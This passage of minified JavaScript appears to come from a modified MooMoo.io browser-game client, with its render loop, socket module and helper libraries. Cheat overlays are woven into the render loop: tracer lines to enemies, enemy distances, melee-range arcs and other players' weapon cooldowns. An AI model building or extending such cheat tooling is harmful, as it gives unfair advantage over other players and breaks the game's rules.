oAHJbfbDnoz+QfGMoKAGBjzHWH6teqy4zOAgAH4G3VPaf6w9FBAMoKAGCDTHVmywGBfzA6CwCcojOra5v8A5tEAQBslKneOtXtq7tW/zI6DwCcoLdVd57qjtPy3wAbQwEAbKSpHteyGuD3RmcBgH16bHXNqZ4wOgjABXEGALDx5mVFwEOrTxqdBQAuwJure1vuD2w6KwCAjTfV/6s+s3rM6CwA8CHm6pHVtUz+gW1gBQCwVea6dctqgCuPzgLAqv1t9S1TPWt0EID9sgIA2CpT/Ul17eonqnMGxwFgfc6pfqS6rsk/sG2sAAC21rxsC3hY9QWjswCwCs+p7jXVa0YHATgZVgAAW2uqV1Y3q76x+rfBcQDYXf9a3aO6pck/sM2sAAB2wlyfUP1Mdff8tgFwMD5QPaL6vmkpAQC2mkEysFPmukn1q9V1R2cBYKud1XK134tGBwE4KLYAADtlqj+vblDdv3rn4DgAbJ93VPetPsfkH9g1VgAAO2uuT64eVN0tv3cAHNtcPapluf9bB2cBOBQGxMDOm+vzqodU1x+dBYCN9NfVt3rjD+w6WwCAnTfVC1q2Bdw7hzgB8EH/Wt2zuqHJP7AGVgAAqzLXZaofrb45JSjAWp1X/Vr1wGnZ8w+wCgoAYJXmZTvAL1Q3HxwFgKP1nOr+U71kdBCAo+btF7BKU5011S2qO1SvHZ0HgEP3quoOU93C5B9YKysAgNWb64zqW6vva9kiAMDu+Nfqh6qHT8vSf4DVUgAA7Jnr0tUDW+5/PmNwHABOzTnVg6sft88fYKEAAPgIc12l+onqK/I7CbBtPlD9bvWDky1eAB/GwBbgQsz1WS1s+jaiAAAI+0lEQVRFwP8enQWAfXlK9QP2+ANcMAUAwHHMddPqp6rPG50FgAv0/Or7pvrz0UEANpkCAGCf5vqylhUB1xmdBYCqzmp54/+00UEAtoECAOAEzMv1qV9Z/Z/qGoPjAKzVy6ofq35/qnl0GIBtoQAAOAl7RcCdW24NuObgOABr8bLqR6szp+WwPwBOgAIA4BTsFQFf0VIEXGtwHIBd9dI+OPH3xh/gJCkAAA7AXhFwh+oHq2sPjgOwK85umfj/gYk/wKlTAAAcoHn5Xf2y6gHVTQbHAdhWz6seVD3NxB/g4CgAAA7JXJ/fUgR8aX5vAY7nA9WTqwdN9cLRYQB2kQEpwCGbl7MBvqe6S3WRwXEANs051WOrn53qlaPDAOwyBQDAEZnr06r7V99QXWJwHIDR3lX9RvVLU71xdBiANVAAAByxuS5dfXN13+pyg+MAHLU3Vr9SPXxaSgAAjogCAGCQedkO8JXVd1bXGxwH4LD9dfXz1e9Pde7oMABrpAAA2ABz3aL6tuq2LVcKAuyC86sntSzzf97oMABrpwAA2CBzXbm6X3WPnBMAbK93Vb9ZPWSq140OA8BCAQCwgea6ZMthgfetrjQ4DsB+va5lf/8j7e8H2DwKAIANNtdpLdsC7lXdOtsDgM3zgeoZ1cOqJ0/L3wHYQAoAgC2xtz3gm1u2B1xmcByAt1WPbDnN3zJ/gC2gAADYMnNdtLpTy6qAzx8cB1if57W87T9zqvePDgPA/ikAALbYXNeqvr66e/Xxg+MAu+tt1e9UvzHVK0eHAeDkKAAAdsDeqoDbVV9XfXHL2QEAp+Lc6qkty/yfOi1/B2CLKQAAdsxcn1J9TUsZcPWxaYAt9OrqUdVvTfWWwVkAOEAKAIAdNteNq6+u7lx9wuA4wOZ6W/W71eOmeuHoMAAcDgUAwArMdXrLNYJfVd2++tixiYAN8K7qD6rHVs+c6vzBeQA4ZAoAgJWZ6+It5wXcteW8gIuOTQQcofdXT2uZ9P/RVO8bnAeAI6QAAFixuS5dfXl1h+qLqouNTQQcgvdVf1w9sWXS/47BeQAYRAEAQFVzXaL6kuqOe39+zNhEwCl4T/VHLZP+p07L3wFYOQUAAP/D3jaBL67u1FIGfNzYRMA+/Fv1lOrM6o8t7wfgIykAADimvQMEb96yVeB21RWGBgI+1BtaDvJ7UvXcqc4bnAeADaYAAGDf5uW58VktRcCXVdfPswSO0lz9Tcvy/idNy38DwL4YtAFw0ua6XPWle58vrD56bCLYSe+p/qRlef9TpnrL4DwAbCkFAAAHYl5uELhly8qA21RXHBoIttvrq6dWT25Z2v+fg/MAsAMUAAAcirmu2nK14K1bzhC41NBAsNneWT2rekb1zKleOzgPADtIAQDAods7SPCGfbAQuGHL/4O1Oq96UcvS/j+p/mKq88dGAmDXKQAAOHJzXaK6SXXTvc/nVGcMDQWH6/3VX1bPq55bvWCqd4+NBMDaKAAAGG6ui1c3qm7WUgjcqOX/wbZ6b8sb/ufuff5iqveNjQTA2ikAANg4c12kum5LEfC5e5+rDg0Fx/a31V9UL6xeXL1kWpb5A8DGUAAAsBXm+oSWswP+qxT47Orjh4Zirf6t+uuWN/wvrl401dvHRgKA41MAALC15rpCdb2WMuB6e58rDA3FrnlDdXbLhP/s6uxp+X8AsHUUAADslHlZFfDZLVsIrltdp7pGy7YCuDDnVq+sXlq9pGWyf9a0vO0HgJ2gAABg583LDQPXbCkDrrX3uXr1aXkWrs1c/WP1qurl1StaJvuvmuqckcEA4LAZ9ACwWnvXEV69pRz4zL3PNVqKgdMGRuPUndcy0X91y0T/VS1v+F851XtGBgOAURQAAPAR9m4huGJ1lb3PVasvaDljgM1zVstVe6+rXrv3+YdpWdYPAOxRAADAPsx11+p3RufgAn31VI8dHQIANt1HjQ4AAAAAHD4FAAAAAKyAAgAAAABWQAEAAAAAK6AAAAAAgBVQAAAAAMAKKAAAAABgBRQAAAAAsAIKAAAAAFgBBQAAAACsgAIAAAAAVkABAAAAACugAAAAAIAVUAAAAADACigAAAAAYAUUAAAAALACCgAAAABYAQUAAAAArIACAAAAAFZAAQAAAAAroAAAAACAFVAAAAAAwAooAAAAAGAFFAAAAACwAgoAAAAAWAEFAAAAAKyAAgAAAABWQAEAAAAAK6AAAAAAgBVQAAAAAMAKKAAAAABgBRQAAAAAsAIKAAAAAFgBBQAAAACsgAIAAAAAVkABAAAAACugAAAAAIAVUAAAAADACigAAAAAYAUUAAAAALACCgAAAABYAQUAAAAArIACAAAAAFZAAQAAAAAroAAAAACAFVAAAAAAwAooAAAAAGAFFAAAAACwAgoAAAAAWAEFAAAAAKyAAgAAAABWQAEAAAAAK6AAAAAAgBVQAAAAAMAKKAAAAABgBRQAAAAAsAIKAAAAAFgBBQAAAACsgAIAAAAAVkABAAAAACugAAAAAIAVUAAAAADACigAAAAAYAUUAAAAALACCgAAAABYAQUAAAAArIACAAAAAP7/duxAAAAAAECQv/UgF0YDAgAAAAAGBAAAAAAMCAAAAAAYEAAAAAAwIAAAAABgQAAAAADAgAAAAACAAQEAAAAAAwIAAAAABgQAAAAADAgAAAAAGBAAAAAAMCAAAAAAYEAAAAAAwIAAAAAAgAEBAAAAAAMCAAAAAAYEAAAAAAwIAAAAABgQAAAAADAgAAAAAGBAAAAAAMCAAAAAAIABAQAAAAADAgAAAAAGBAAAAAAMCAAAAAAYEAAAAAAwIAAAAABgQAAAAADAgAAAAACAAQEAAAAAAwIAAAAABgQAAAAADAgAAAAAGBAAAAAAMCAAAAAAYEAAAAAAwIAAAAAAgAEBAAAAAAMCAAAAAAYEAAAAAAwIAAAAABgQAAAAADAgAAAAAGBAAAAAAMCAAAAAAIABAQAAAAADAgAAAAAGBAAAAAAMCAAAAAAYEAAAAAAwIAAAAABgQAAAAADAgAAAAACAAQEAAAAAAwIAAAAABgQAAAAADARtMLgGnbagGgAAAABJRU5ErkJggg==", window.requestAnimFrame = window.requestAnimationFrame || window.webkitRequestAnimationFrame || window.mozRequestAnimationFrame || function (e) {
							window.setTimeout(e, 1e3 / 60)
						}
						, function () {
							var e = s.mapScale / 2;
							rt.add(0, e, e + 200, 0, s.treeScales[3], 0), rt.add(1, e, e - 480, 0, s.treeScales[3], 0), rt.add(2, e + 300, e + 450, 0, s.treeScales[3], 0), rt.add(3, e - 950, e - 130, 0, s.treeScales[2], 0), rt.add(4, e - 750, e - 400, 0, s.treeScales[3], 0), rt.add(5, e - 700, e + 400, 0, s.treeScales[2], 0), rt.add(6, e + 800, e - 200, 0, s.treeScales[3], 0), rt.add(7, e - 260, e + 340, 0, s.bushScales[3], 1), rt.add(8, e + 760, e + 310, 0, s.bushScales[3], 1), rt.add(9, e - 800, e + 100, 0, s.bushScales[3], 1), rt.add(10, e - 800, e + 300, 0, c.list[4].scale, c.list[4].id, c.list[10]), rt.add(11, e + 650, e - 390, 0, c.list[4].scale, c.list[4].id, c.list[10]), rt.add(12, e - 400, e - 450, 0, s.rockScales[2], 2)
						}()
						, function e() {
							P = Date.now(), M = P - Y, Y = P
								, function () {
									if(L && (!O || P - O >= 1e3 / s.clientSendRate) && (O = P, i.send("2", An())), Mn < 120 && (Mn += .1 * M, Ge.style.fontSize = Math.min(Math.round(Mn), 120) + "px"), L) {
										var e = o.getDistance(q, H, L.x, L.y)
											, t = o.getDirection(L.x, L.y, q, H)
											, n = Math.min(.01 * e * M, e);
										e > .05 ? (q += n * Math.cos(t), H += n * Math.sin(t)) : (q = L.x, H = L.y)
									} else q = s.mapScale / 2, H = s.mapScale / 2;
									for(var r = P - 1e3 / s.serverUpdateRate, a = 0; a < z.length + W.length; ++a)
										if((S = z[a] || W[a - z.length]) && S.visible)
											if(S.forcePos) S.x = S.x2, S.y = S.y2, S.dir = S.d2;
											else {
												var l = S.t2 - S.t1
													, c = (r - S.t1) / l;
												S.dt += M;
												var u = Math.min(1.7, S.dt / 170)
													, f = S.x2 - S.x1;
												S.x = S.x1 + f * u, f = S.y2 - S.y1, S.y = S.y1 + f * u, S.dir = Math.lerpAngle(S.d2, S.d1, Math.min(1.2, c))
											} var d = q - se / 2
										, h = H - le / 2
										, p = be
										, A = ""
										, m = ""
										, y = ""
										, w = "";
									1 == _r ? (w = "#e6e6e6", y = "#78a1d3", A = "#8dba2c", m = "#d3b945") : (w = "#fff", y = "#91b2db", A = "#b6db66", m = "#dbc666");
									s.waveMax = 1.7, s.snowBiomeTop = 2400, s.deathFadeout = 0, s.snowBiomeTop - h <= 0 && s.mapScale - s.snowBiomeTop - h >= le ? (be.fillStyle = A, be.fillRect(0, 0, se, le)) : s.mapScale - s.snowBiomeTop - h <= 0 ? (be.fillStyle = m, be.fillRect(0, 0, se, le)) : s.snowBiomeTop - h >= le ? (be.fillStyle = w, be.fillRect(0, 0, se, le)) : s.snowBiomeTop - h >= 0 ? (be.fillStyle = w, be.fillRect(0, 0, se, s.snowBiomeTop - h), be.fillStyle = A, be.fillRect(0, s.snowBiomeTop - h, se, le - (s.snowBiomeTop - h))) : (be.fillStyle = A, be.fillRect(0, 0, se, s.mapScale - s.snowBiomeTop - h), be.fillStyle = m, be.fillRect(0, s.mapScale - s.snowBiomeTop - h, se, le - (s.mapScale - s.snowBiomeTop - h))), Cn || ((ee += te * s.waveSpeed * M) >= s.waveMax ? (ee = s.waveMax, te = -1) : ee <= 1 && (ee = te = 1), be.globalAlpha = 1, be.fillStyle = m, Wn(0, h, be, s.riverPadding + 750), be.fillStyle = y, Wn(0, h, be, 250 * (ee - 1))), be.lineWidth = 4, be.strokeStyle = "#000", be.globalAlpha = .06, be.beginPath();
									for(var v = -q; v < se; v += le / 18) v > 0 && (be.moveTo(v, 0), be.lineTo(v, le));
									for(var b = -H; b < le; b += le / 18) v > 0 && (be.moveTo(0, b), be.lineTo(se, b));
									for(be.stroke(), be.globalAlpha = 1, be.strokeStyle = it, zn(-1, d, h), be.globalAlpha = 1, be.lineWidth = 5.5, Un(0, d, h), Fn(d, h, 0), be.globalAlpha = 1, a = 0; a < W.length; ++a)(S = W[a])
										.active && S.visible && (S.animate(M), be.save(), be.translate(S.x - d, S.y - h), be.rotate(S.dir + S.dirPlus - Math.PI / 2), yr(S, be), be.restore());
									if(zn(0, d, h), Un(1, d, h), zn(1, d, h), Fn(d, h, 1), zn(2, d, h), zn(3, d, h), be.fillStyle = "#000", be.globalAlpha = .09, d <= 0 && be.fillRect(0, 0, -d, le), s.mapScale - d <= se) {
										var x = Math.max(0, -h);
										be.fillRect(s.mapScale - d, x, se - (s.mapScale - d), le - x)
									}
									if(h <= 0 && be.fillRect(-d, 0, se + d, -h), s.mapScale - h <= le) {
										var B = Math.max(0, -d)
											, E = 0;
										s.mapScale - d <= se && (E = se - (s.mapScale - d)), be.fillRect(B, s.mapScale - h, se - B - E, le - (s.mapScale - h))
									}
									for(be.globalAlpha = 1, be.fillStyle = "rgba(0, 0, 70, 0.35)", be.fillRect(0, 0, se, le), be.strokeStyle = ot, a = 0; a < z.length + W.length; ++a)
										if((S = z[a] || W[a - z.length])
											.visible && (10 != S.skinIndex || S == L || S.team && S.team == L.team)) {
											if(1 == S.isPlayer) var k = (S.team ? "[" + S.team + "] " : "") + `{${S.sid}} ` + (global_functions_exporter.enableNames && S.name || "");
											else k = `[AI, ${S.health} / ${S.maxHealth}] ` + (S.team ? "[" + S.team + "] " : "") + (global_functions_exporter.enableNames && S.name || "");
											p = be;

											function C(e, t, n) {
												p.beginPath(), p.lineWidth = 5, p.strokeStyle = n || "#BEBEBE", p.moveTo(L.x - d, L.y - h), p.lineTo(e - d, t - h), p.stroke()
											}
											for(var I of (global_functions_exporter.BundleF = d, window.tr = function (e, t) {
													Sr.push([e, t])
												}, window.cleartracers = function () {
													Sr = []
												}, Sr)) C(I[0], I[1]);
											if(global_functions_exporter.mouseCoords && Ve.secondary == Ve.weapon && 10 != Ve.secondary) {
												p.beginPath(), p.lineWidth = 10, p.strokeStyle = "#ff0000";
												let e = p.globalAlpha;
												p.globalAlpha = .2, p.moveTo(L.x - d, L.y - h), p.lineTo(global_functions_exporter.mouseCoords[0] - d, global_functions_exporter.mouseCoords[1] - h), p.stroke(), p.globalAlpha = e
											}
											if(p.strokeStyle = "rgba(0, 0, 70, 0.35)", S.sid == L.sid && S.isPlayer && (p.textAlign = "center", p.textBaseline = "middle", p.fillStyle = "#fff", p.font = "20px Hammersmith One", p.lineJoin = "round", p.lineWidth = 0, p.strokeText(global_functions_exporter.dataPackage, S.x - d, S.y - h + S.scale + s.nameY + 42), p.fillText(global_functions_exporter.dataPackage, S.x - d, S.y - h + S.scale + s.nameY + 42)), !S.isPlayer || S == L || S.team == L.team && S.team || (p.beginPath(), p.lineWidth = 5, p.strokeStyle = "#FF0000", p.moveTo(L.x - d, L.y - h), p.lineTo(S.x - d, S.y - h), p.stroke(), global_functions_exporter.enableNames && (p.font = (S.nameScale || 25) + "px Hammersmith One", p.textBaseline = "middle", p.textAlign = "center", p.lineWidth = S.nameScale ? 11 : 8, p.lineJoin = "round", p.strokeText(S.name + " / " + Math.floor(Math.sqrt(Math.pow(S.y - L.y, 2) + Math.pow(S.x - L.x, 2))), (L.x - d + S.x - d) / 2, (L.y - h + S.y - h) / 2), p.fillText(S.name + " / " + Math.floor(Math.sqrt(Math.pow(S.y - L.y, 2) + Math.pow(S.x - L.x, 2))), (L.x - d + S.x - d) / 2, (L.y - h + S.y - h) / 2))), S.isPlayer && S != L && S.team && S.team == L.team && (p.beginPath(), p.lineWidth = 5, p.strokeStyle = "#228b22", p.moveTo(L.x - d, L.y - h), p.lineTo(S.x - d, S.y - h), p.stroke(), global_functions_exporter.enableNames && (p.font = (S.nameScale || 25) + "px Hammersmith One", p.textBaseline = "middle", p.textAlign = "center", p.lineWidth = S.nameScale ? 11 : 8, p.lineJoin = "round", p.strokeText(S.name, (L.x - d + S.x - d) / 2, (L.y - h + S.y - h) / 2), p.fillText(S.name, (L.x - d + S.x - d) / 2, (L.y - h + S.y - h) / 2))), S.isAI) p.beginPath(), p.lineWidth = 5, p.strokeStyle = "blue", p.moveTo(L.x - d, L.y - h), p.lineTo(S.x - d, S.y - h), p.stroke();
											else try {
												S.x, Math.cos(S.dir), S.y, Math.sin(S.dir);
												let t = S.dir - 1.57
													, n = S.dir + 1.57
													, r = (global_functions_exporter.playerList[S.sid] ? global_functions_exporter.playerList[S.sid] : {
														xvel: 0
														, yvel: 0
														, addDist: 0
													})
													.perfectMaxMeleeRange ? global_functions_exporter.playerList[S.sid].perfectMaxMeleeRange : 219;
												p.beginPath();
												let i = p.globalAlpha;
												p.globalAlpha = .1, p.arc(S.x - d, S.y - h, r, t, n), p.fillStyle = "red", p.fill(), p.globalAlpha = i
											} catch (e) {
												console.error(e)
											}
											if("" != k) {
												if(be.font = (S.nameScale || 30) + "px Hammersmith One", be.fillStyle = "#fff", be.textBaseline = "middle", be.textAlign = "center", be.lineWidth = S.nameScale ? 11 : 8, be.lineJoin = "round", be.strokeText(k, S.x - d, S.y - h - S.scale - s.nameY), be.fillText(k, S.x - d, S.y - h - S.scale - s.nameY), S.isLeader && _n.crown.isLoaded) {
													var T = s.crownIconScale;
													B = S.x - d - T / 2 - be.measureText(k)
														.width / 2 - s.crownPad, be.drawImage(_n.crown, B, S.y - h - S.scale - s.nameY - T / 2 - 5, T, T)
												}
												1 == S.iconIndex && _n.skull.isLoaded && (T = s.crownIconScale, B = S.x - d - T / 2 + be.measureText(k)
													.width / 2 + s.crownPad, be.drawImage(_n.skull, B, S.y - h - S.scale - s.nameY - T / 2 - 5, T, T)), S.isPlayer && global_functions_exporter.playerList[S.sid] && void 0 !== global_functions_exporter.playerList[S.sid].shameCount ? (S.previousShameCount = global_functions_exporter.playerList[S.sid].shameCount, T = s.crownIconScale, be.fillStyle = "#ff0000", be.strokeText("     " + global_functions_exporter.playerList[S.sid].shameCount, S.x - d - T / 2 + be.measureText(k)
													.width / 2 + s.crownPad, S.y - h - S.scale - s.nameY), be.fillText("     " + global_functions_exporter.playerList[S.sid].shameCount, S.x - d - T / 2 + be.measureText(k)
													.width / 2 + s.crownPad, S.y - h - S.scale - s.nameY), be.fillStyle = "#fff") : S.isPlayer && global_functions_exporter.playerList[S.sid] && (T = s.crownIconScale, be.fillStyle = "#ff0000", be.strokeText("     " + (S.previousShameCount ? S.previousShameCount : 0), S.x - d - T / 2 + be.measureText(k)
													.width / 2 + s.crownPad, S.y - h - S.scale - s.nameY), be.fillText("     " + (S.previousShameCount ? S.previousShameCount : 0), S.x - d - T / 2 + be.measureText(k)
													.width / 2 + s.crownPad, S.y - h - S.scale - s.nameY), be.fillStyle = "#fff")
											}
											S.health > 0 && (s.healthBarWidth, be.fillStyle = ot, be.roundRect(S.x - d - s.healthBarWidth - s.healthBarPad, S.y - h + S.scale + s.nameY, 2 * s.healthBarWidth + 2 * s.healthBarPad, 17, 8), be.fill(), be.fillStyle = S == L || S.team && S.team == L.team ? "#8ecc51" : "#cc5151", be.roundRect(S.x - d - s.healthBarWidth, S.y - h + S.scale + s.nameY + s.healthBarPad, 2 * s.healthBarWidth * (S.health / S.maxHealth), 17 - 2 * s.healthBarPad, 7), be.fill()), global_functions_exporter.myPlayerBundleObject = L;
											try {
												if(S.isPlayer && global_functions_exporter.playerList && global_functions_exporter.playerList[S.sid]) {
													let e = global_functions_exporter.playerList[S.sid];
													s.healthBarWidth, be.fillStyle = ot, be.roundRect(S.x - d - s.healthBarPad, S.y - h + S.scale + s.nameY - 13, s.healthBarWidth + 2 * s.healthBarPad, 17, 8), be.fill(), be.fillStyle = e.sCd <= 0 ? "#cc6666" : `hsl(${50*e.sCd}, 50%, 60%)`, be.roundRect(S.x - d, S.y - h + S.scale + s.nameY + s.healthBarPad - 13, 2 * s.healthBarWidth / 2 * (null != e.secondary ? (window.globalWeaponsList.find(t => t.id === e.secondary)
															.cd - (e.sCd < 0 ? 0 : e.sCd)) / window.globalWeaponsList.find(t => t.id === e.secondary)
														.cd : 1), 17 - 2 * s.healthBarPad, 7), be.fill(), s.healthBarWidth, be.fillStyle = ot, be.roundRect(S.x - d - s.healthBarWidth - s.healthBarPad, S.y - h + S.scale + s.nameY - 13, s.healthBarWidth + 2 * s.healthBarPad, 17, 8), be.fill(), be.fillStyle = e.pCd <= 0 ? "#cc6666" : `hsl(${50*e.pCd}, 50%, 60%)`, be.roundRect(S.x - d - s.healthBarWidth, S.y - h + S.scale + s.nameY + s.healthBarPad - 13, 2 * s.healthBarWidth / 2 * (null != e.primary ? (window.globalWeaponsList.find(t => t.id === e.primary)
															.cd - (e.pCd < 0 ? 0 : e.pCd)) / window.globalWeaponsList.find(t => t.id === e.primary)
														.cd : 1), 17 - 2 * s.healthBarPad, 7), be.fill(), s.healthBarWidth, be.fillStyle = ot, be.roundRect(S.x - d - s.healthBarWidth - s.healthBarPad, S.y - h + S.scale + s.nameY + 13, 2 * s.healthBarWidth + 2 * s.healthBarPad, 17, 8), be.fill(), be.fillStyle = "#aaa9ad", be.roundRect(S.x - d - s.healthBarWidth, S.y - h + S.scale + s.nameY + s.healthBarPad + 13, 2 * s.healthBarWidth * (e.turretCd <= 0 ? 1 : (22 - e.turretCd) / 22), 17 - 2 * s.healthBarPad, 7), be.fill()
												}
											} catch (e) {
												console.error(e)
											}
										} for(g.update(M, be, d, h), a = 0; a < z.length; ++a)
										if((S = z[a])
											.visible && S.chatCountdown > 0) {
											S.chatCountdown -= M, S.chatCountdown <= 0 && (S.chatCountdown = 0), be.font = "32px Hammersmith One";
											var D = be.measureText(S.chatMessage);
											be.textBaseline = "middle", be.textAlign = "center", B = S.x - d, x = S.y - S.scale - h - 90;
											var _ = D.width + 17;
											be.fillStyle = "rgba(0,0,0,0.2)", be.roundRect(B - _ / 2, x - 23.5, _, 47, 6), be.fill(), be.fillStyle = "#fff", be.fillText(S.chatMessage, B, x)
										}!
									function (e) {
										if(L && L.alive) {
											Ze.clearRect(0, 0, Qe.width, Qe.height), Ze.strokeStyle = "#fff", Ze.lineWidth = 4;
											for(var t = 0; t < Wt.length; ++t)(Yt = Wt[t])
												.update(Ze, e);
											if(Ze.globalAlpha = 1, Ze.fillStyle = "#fff", ar(L.x / s.mapScale * Qe.width, L.y / s.mapScale * Qe.height, 7, Ze, !0), Ze.fillStyle = "rgba(255,255,255,0.35)", L.team && It)
												for(t = 0; t < It.length;) ar(It[t] / s.mapScale * Qe.width, It[t + 1] / s.mapScale * Qe.height, 7, Ze, !0), t += 2;
											Ct && (Ze.fillStyle = "#fc5553", Ze.font = "34px Hammersmith One", Ze.textBaseline = "middle", Ze.textAlign = "center", Ze.fillText("x", Ct.x / s.mapScale * Qe.width, Ct.y / s.mapScale * Qe.height)), Tt && (Ze.fillStyle = "#fff", Ze.font = "34px Hammersmith One", Ze.textBaseline = "middle", Ze.textAlign = "center", Ze.fillText("x", Tt.x / s.mapScale * Qe.width, Tt.y / s.mapScale * Qe.height))
										}
									}(M), -1 !== ie.id && Xn(ie.startX, ie.startY, ie.currentX, ie.currentY), -1 !== oe.id && Xn(oe.startX, oe.startY, oe.currentX, oe.currentY)
								}(), window.requestAnimFrame(e)
						}(), window.openLink = Lr, window.aJoinReq = Vt, window.follmoo = function () {
							U || (U = !0, k("moofoll", 1))
						}, window.kickFromClan = jt, window.sendJoin = Xt, window.leaveAlliance = Rt, window.createAlliance = Ut, window.storeBuy = Zt, window.storeEquip = Kt, window.showItemInfo = kt, window.selectSkinColor = function (e) {
							ae = e, tn()
						}, window.changeStoreIndex = function (e) {
							Ft != e && (Ft = e, Gt())
						}, window.config = s, setInterval(() => {
							_r = !_r, window.requestAnimFrame(e)
						}, 39e4)
				}, function (e, t) {
					! function (e, t, n) {
						function r(e, t) {
							return typeof e === t
						}
						var i = []
							, o = []
							, a = {
								_version: "3.5.0"
								, _config: {
									classPrefix: ""
									, enableClasses: !0
									, enableJSClass: !0
									, usePrefixes: !0
								}
								, _q: []
								, on: function (e, t) {
									var n = this;
									setTimeout(function () {
										t(n[e])
									}, 0)
								}
								, addTest: function (e, t, n) {
									o.push({
										name: e
										, fn: t
										, options: n
									})
								}
								, addAsyncTest: function (e) {
									o.push({
										name: null
										, fn: e
									})
								}
							}
							, s = function () {};
						s.prototype = a, s = new s;
						var l = t.documentElement
							, c = "svg" === l.nodeName.toLowerCase();
						s.addTest("passiveeventlisteners", function () {
								var t = !1;
								try {
									var n = Object.defineProperty({}, "passive", {
										get: function () {
											t = !0
										}
									});
									e.addEventListener("test", null, n)
								} catch (e) {}
								return t
							})
							, function () {
								var e, t, n, a, l, c;
								for(var u in o)
									if(o.hasOwnProperty(u)) {
										if(e = [], (t = o[u])
											.name && (e.push(t.name.toLowerCase()), t.options && t.options.aliases && t.options.aliases.length))
											for(n = 0; n < t.options.aliases.length; n++) e.push(t.options.aliases[n].toLowerCase());
										for(a = r(t.fn, "function") ? t.fn() : t.fn, l = 0; l < e.length; l++) 1 === (c = e[l].split("."))
											.length ? s[c[0]] = a : (!s[c[0]] || s[c[0]] instanceof Boolean || (s[c[0]] = new Boolean(s[c[0]])), s[c[0]][c[1]] = a), i.push((a ? "" : "no-") + c.join("-"))
									}
							}()
							, function (e) {
								var t = l.className
									, n = s._config.classPrefix || "";
								if(c && (t = t.baseVal), s._config.enableJSClass) {
									var r = new RegExp("(^|\\s)" + n + "no-js(\\s|$)");
									t = t.replace(r, "$1" + n + "js$2")
								}
								s._config.enableClasses && (t += " " + n + e.join(" " + n), c ? l.className.baseVal = t : l.className = t)
							}(i), delete a.addTest, delete a.addAsyncTest;
						for(var u = 0; u < s._q.length; u++) s._q[u]();
						e.Modernizr = s
					}(window, document)
				}, function (e, t, n) {
					var r = n(24);
					n(19), e.exports = {
						socket: null
						, connected: !1
						, socketId: -1
						, connect: function (e, t, n) {
							if(!this.socket) {
								var i = this;
								try {
									var o = !1
										, a = e;
									this.socket = new WebSocket(a), this.socket.binaryType = "arraybuffer", this.socket.onmessage = function (e) {
										var t = new Uint8Array(e.data)
											, o = r.decode(t)
											, a = o[0];
										t = o[1], "io-init" == a ? i.socketId = t[0] : n[a].apply(void 0, t)
									}, this.socket.onopen = function () {
										i.connected = !0, t()
									}, this.socket.onclose = function (e) {
										i.connected = !1, 4001 == e.code ? t("Invalid Connection") : o || t("disconnected")
									}, this.socket.onerror = function (e) {
										this.socket && this.socket.readyState != WebSocket.OPEN && (o = !0, console.error("Socket error", arguments), t("Socket error"))
									}
								} catch (e) {
									console.warn("Socket connection error:", e), t(e)
								}
							}
						}
						, send: function (e) {
							var t = Array.prototype.slice.call(arguments, 1)
								, n = r.encode([e, t]);
							this.socket.send(n)
						}
						, socketReady: function () {
							return this.socket && this.connected
						}
						, close: function () {
							this.socket && this.socket.close()
						}
					}
				}, function (e, t, n) {
					t.encode = n(9)
						.encode, t.decode = n(15)
						.decode, t.Encoder = n(37)
						.Encoder, t.Decoder = n(38)
						.Decoder, t.createCodec = n(39)
						.createCodec, t.codec = n(40)
						.codec
				}, function (e, t, n) {
					(function (t) {
						function n(e) {
							return e && e.isBuffer && e
						}
						e.exports = n(void 0 !== t && t) || n(this.Buffer) || n("undefined" != typeof window && window.Buffer) || this.Buffer
					})
					.call(this, n(11)
						.Buffer)
				}, function (e, t, n) {
					t.byteLength = function (e) {
						var t = c(e)
							, n = t[0]
							, r = t[1];
						return 3 * (n + r) / 4 - r
					}, t.toByteArray = function (e) {
						var t, n, r = c(e)
							, a = r[0]
							, s = r[1]
							, l = new o(3 * (a + s) / 4 - s)
							, u = 0
							, f = s > 0 ? a - 4 : a;
						for(n = 0; n < f; n += 4) t = i[e.charCodeAt(n)] << 18 | i[e.charCodeAt(n + 1)] << 12 | i[e.charCodeAt(n + 2)] << 6 | i[e.charCodeAt(n + 3)], l[u++] = t >> 16 & 255, l[u++] = t >> 8 & 255, l[u++] = 255 & t;
						return 2 === s && (t = i[e.charCodeAt(n)] << 2 | i[e.charCodeAt(n + 1)] >> 4, l[u++] = 255 & t), 1 === s && (t = i[e.charCodeAt(n)] << 10 | i[e.charCodeAt(n + 1)] << 4 | i[e.charCodeAt(n + 2)] >> 2, l[u++] = t >> 8 & 255, l[u++] = 255 & t), l
					}, t.fromByteArray = function (e) {
						for(var t, n = e.length, i = n % 3, o = [], a = 0, s = n - i; a < s; a += 16383) o.push(f(e, a, a + 16383 > s ? s : a + 16383));
						return 1 === i ? (t = e[n - 1], o.push(r[t >> 2] + r[t << 4 & 63] + "==")) : 2 === i && (t = (e[n - 2] << 8) + e[n - 1], o.push(r[t >> 10] + r[t >> 4 & 63] + r[t << 2 & 63] + "=")), o.join("")
					};
					for(var r = [], i = [], o = "undefined" != typeof Uint8Array ? Uint8Array : Array, a = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/", s = 0, l = a.length; s < l; ++s) r[s] = a[s], i[a.charCodeAt(s)] = s;

					function c(e) {
						var t = e.length;
						if(t % 4 > 0) throw new Error("Invalid string. Length must be a multiple of 4");
						var n = e.indexOf("=");
						return -1 === n && (n = t), [n, n === t ? 0 : 4 - n % 4]
					}

					function u(e) {
						return r[e >> 18 & 63] + r[e >> 12 & 63] + r[e >> 6 & 63] + r[63 & e]
					}

					function f(e, t, n) {
						for(var r, i = [], o = t; o < n; o += 3) r = (e[o] << 16 & 16711680) + (e[o + 1] << 8 & 65280) + (255 & e[o + 2]), i.push(u(r));
						return i.join("")
					}
					i["-".charCodeAt(0)] = 62, i["_".charCodeAt(0)] = 63
				}, function (e, t) {
					var n = {}.toString;
					e.exports = Array.isArray || function (e) {
						return "[object Array]" == n.call(e)
					}
				}, function (e, t, n) {
					var r = n(0);

					function i(e) {
						return new Array(e)
					}(t = e.exports = i(0))
					.alloc = i, t.concat = r.concat, t.from = function (e) {
						if(!r.isBuffer(e) && r.isView(e)) e = r.Uint8Array.from(e);
						else if(r.isArrayBuffer(e)) e = new Uint8Array(e);
						else {
							if("string" == typeof e) return r.from.call(t, e);
							if("number" == typeof e) throw new TypeError('"value" argument must not be a number')
						}
						return Array.prototype.slice.call(e)
					}
				}, function (e, t, n) {
					var r = n(0)
						, i = r.global;

					function o(e) {
						return new i(e)
					}(t = e.exports = r.hasBuffer ? o(0) : [])
					.alloc = r.hasBuffer && i.alloc || o, t.concat = r.concat, t.from = function (e) {
